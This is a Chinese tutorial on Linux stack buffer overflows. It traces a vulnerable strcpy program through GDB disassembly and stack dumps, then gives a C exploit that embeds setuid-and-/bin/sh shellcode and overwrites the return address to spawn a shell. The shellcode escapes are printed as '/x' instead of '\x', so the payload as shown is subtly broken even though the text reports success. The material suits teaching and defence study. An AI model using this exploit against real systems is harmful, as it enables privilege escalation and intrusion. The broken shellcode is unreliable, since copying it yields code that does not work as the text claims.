Linux下棧溢出的原理及利用 作者:xinhe 1、進程空間的記憶體分布 一個程式在運行時系統會給這個程式分配4GB的虛擬記憶體,而這4GB有2GB是共用的,核心可以訪問, 還有2GB是進程獨佔的,而程式又分為程式段,資料區段,堆棧段。動態資料都是通過堆棧段來存放。 其分布如下: 記憶體高端 +-------------------+ | 程式段 | +-------------------+ | 資料區段 | +-------------------+ | 堆 棧 | +-------------------+ 記憶體低端 而堆棧段的分布又如下: 記憶體高端 +-------------------+ | 函數棧 | +-------------------+ | 函數棧 | +-------------------+ | ------- | +-------------------+ | 堆 | +-------------------+ 記憶體低端 2、程式對堆棧的使用 程式每調用一個函數,就會在堆棧裡申請一定的空間,我們把這個空間稱為函數棧,而隨著函數調用層數的 增加, 函數棧一塊塊地從高端記憶體向低端記憶體位址方向延伸.反之,隨著進程中函數調用層數的減少, 即各 函數調用的返回, 函數棧會一塊塊地被遺棄而向記憶體的高址方向回縮.各函數的棧大小隨著函數的性質的不 同而不等, 由函數的局部變數的數目決定。 進程對記憶體的動態申請是發生在Heap(堆)裡的. 也就是說, 隨著系統動態分配給進程的記憶體數量的增加, Heap(堆)有可能向高址或低址延伸, 依賴於不同CPU的實現. 但一般來說是向記憶體的高地址方向增長的。 當發生函數調用時,先將函數的參數壓入棧中,然後將函數的返回地址壓入棧中,這裡的返回地址通常是 Call的下一條指令的地址。 這裡結合一個執行個體來說明這一過程: 寫這麼一個程式 //test.c #include<stdio.h> int fun(char *str) { char buffer[10]; strcpy(buffer,str); printf("%s",buffer); return 0; } int main(int argc,char **argv) { int i=0; char *str; str=argv[1]; fun(str); return 0; } 編譯 gcc -g -o test test.c 然後用GDB來進來調試 gdb test 反組譯碼main函數 0x080483db <main+0>: push %ebp 0x080483dc <main+1>: mov %esp,%ebp 0x080483de <main+3>: sub $0x8,%esp 0x080483e1 <main+6>: and $0xfffffff0,%esp 0x080483e4 <main+9>: mov $0x0,%eax 0x080483e9 <main+14>: sub %eax,%esp 0x080483eb <main+16>: movl $0x0,0xfffffffc(%ebp) 0x080483f2 <main+23>: mov 0xc(%ebp),%eax 0x080483f5 <main+26>: add $0x4,%eax 0x080483f8 <main+29>: mov (%eax),%eax 0x080483fa <main+31>: mov %eax,0xfffffff8(%ebp) 0x080483fd <main+34>: sub $0xc,%esp 0x08048400 <main+37>: pushl 0xfffffff8(%ebp) 0x08048403 <main+40>: call 0x80483a8 <fun> 0x08048408 <main+45>: add $0x10,%esp 0x0804840b <main+48>: mov $0x0,%eax 0x08048410 <main+53>: leave 0x08048411 <main+54>: ret 注意這一行 0x08048403 <main+40>: call 0x80483a8 <fun> 這一行是調用fun函數,而下一行的指令地址為:0x08048408,也就是說當fun調用完以後要返回0x08048408 在原程式的第14行設定斷點 b 14 run AAAA 這時,程式裝運行到函數調用之前,看一下寄存器的地址 i reg eax 0xbffffaa7 -1073743193 ecx 0xbffff960 -1073743520 edx 0xbffff954 -1073743532 ebx 0x4014effc 1075113980 esp 0xbffff8c0 0xbffff8c0 ebp 0xbffff8c8 0xbffff8c8 esi 0x2 2 edi 0x401510fc 1075122428 eip 0x80483fd 0x80483fd eflags 0x200282 2097794 cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 這裡我們需要關心的寄存器主要主esp(棧頂指標),ebp(棧底指標),eip(指令指標) 看一下esp裡的資料 x/8x $esp 0xbffff8c0: 0xbffffaa7 0x00000000 0xbffff928 0x4004cad4 0xbffff8d0: 0x00000002 0xbffff954 0xbffff960 0x40037090 再看一下str的地址 print str $1 = 0xbffffaa7 "AAAA" 因為str就是命令列裡的參數,很明顯,這裡調了main函數時後首先是參數地址被壓入棧裡。 然後逐步執行程式後再看寄存器 si si si i reg eax 0xbffffaa7 -1073743193 ecx 0xbffff960 -1073743520 edx 0xbffff954 -1073743532 ebx 0x4014effc 1075113980 esp 0xbffff8ac 0xbffff8ac ebp 0xbffff8c8 0xbffff8c8 esi 0x2 2 edi 0x401510fc 1075122428 eip 0x80483a8 0x80483a8 eflags 0x200396 2098070 cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 我們發現esp的值變了,看看壓進去了些什麼東西 x/8x $esp 0xbffff8ac: 0x08048408 0xbffffaa7 0x4014effc 0x00000000 0xbffff8bc: 0x4014effc 0xbffffaa7 0x00000000 0xbffff928 這裡我很可以很清楚的看到調用過程 首先把參數地址0xbffffaa7壓入棧內,然後把返回地址0x08048408壓入棧內 接著往下看 我們把fun函數也反組譯碼出來 disas fun 0x080483a8 <fun+0>: push %ebp 0x080483a9 <fun+1>: mov %esp,%ebp 0x080483ab <fun+3>: sub $0x18,%esp 0x080483ae <fun+6>: sub $0x8,%esp 0x080483b1 <fun+9>: pushl 0x8(%ebp) 0x080483b4 <fun+12>: lea 0xffffffe8(%ebp),%eax 0x080483b7 <fun+15>: push %eax 0x080483b8 <fun+16>: call 0x80482e8 <_init+72> 0x080483bd <fun+21>: add $0x10,%esp 0x080483c0 <fun+24>: sub $0x8,%esp 0x080483c3 <fun+27>: lea 0xffffffe8(%ebp),%eax 0x080483c6 <fun+30>: push %eax 0x080483c7 <fun+31>: push $0x80484e8 0x080483cc <fun+36>: call 0x80482d8 <_init+56> 0x080483d1 <fun+41>: add $0x10,%esp 0x080483d4 <fun+44>: mov $0x0,%eax 0x080483d9 <fun+49>: leave 0x080483da <fun+50>: ret 再繼續往下執行 si si si x/16x $esp 0xbffff890: 0x08048414 0x080495d0 0xbffff8a8 0x080482b5 0xbffff8a0: 0x00000000 0x00000000 0xbffff8c8 0x08048408 0xbffff8b0: 0xbffffaa7 0x4014effc 0x00000000 0x4014effc 0xbffff8c0: 0xbffffaa7 0x00000000 0xbffff928 0x4004cad4 print &buffer $7 = (char (*)[10]) 0xbffff890 這裡可以看出,程式以為buffer分配了空間,而且空間大小為24位元組。 程式繼續執行 next x/16x $esp 0xbffff890: 0x41414141 0x08049500 0xbffff8a8 0x080482b5 0xbffff8a0: 0x00000000 0x00000000 0xbffff8c8 0x08048408 0xbffff8b0: 0xbffffaa7 0x4014effc 0x00000000 0x4014effc 0xbffff8c0: 0xbffffaa7 0x00000000 0xbffff928 0x4004cad4 從這裡我們可以看出從0xbffff890這個地址開始(也是buffer的地址)開始向高端記憶體填充,這裡填充了 4個"A"A的ACSII碼為41 3.其於棧的緩衝區溢位 我們還是接著這個程式來分析 我們定義buffer時是要求分配10位元組的空間,而程式實際可分配了24個位元組的空間,在strcpy執行時 向buffer裡拷貝A時並未檢查長度,如果我們向buffer裡拷貝的A如果超過24個位元組,就會產生溢出。 如果向buffer裡拷貝的A的長度夠長,把返回地址0x08048408覆蓋了的話程式就會出錯。一般會報段 錯誤或者非法指令,如果返回地址無法訪問,則產生段誤,如果不可執行則視為非法指令。 4.其於棧的緩衝區溢位利用。 既然我們可能覆蓋返回地址,也就意味著我們可以控製程序的流程,如果這個返回地址正好是一個shellcode 的入口,那麼就可以利用這個有溢出的程式來獲得一個shell。 下面我們就寫一個exploit來攻擊這個程式 //test_exploit.c #include<stdio.h> #include<unistd.h> char shellCode[] = "/x31/xdb/x89/xd8/xb0/x17/xcd/x80" "/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c" "/xb0/x0b/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb" "/x89/xd8/x40/xcd/x80/xe8/xdc/xff/xff/xff/bin/sh"; int main() { char str[]="AAAAAAAAAA" "AAAAAAAAAA" "AAAAAAAAAA" "AAAAA"; *(int *)&str[28]=(int)shellCode; char *arg[]={"./test",str,NULL}; execve(arg[0],arg,NULL); return 0; } 這裡我們把str的第28、29、30、31節字裡存放shellCode的地址,因為從上面的分析我們得知返回地址在 距buffer位移為28的地方。 編譯這個程式 gcc -g -o test_exploit test_exploit.c 執行,哈哈,我們期待的shellCode出現了。 轉載者注:有本雜誌<<緩衝區溢位教程>>王煒 方勇 編著.對shellcode有較為系統的講述. |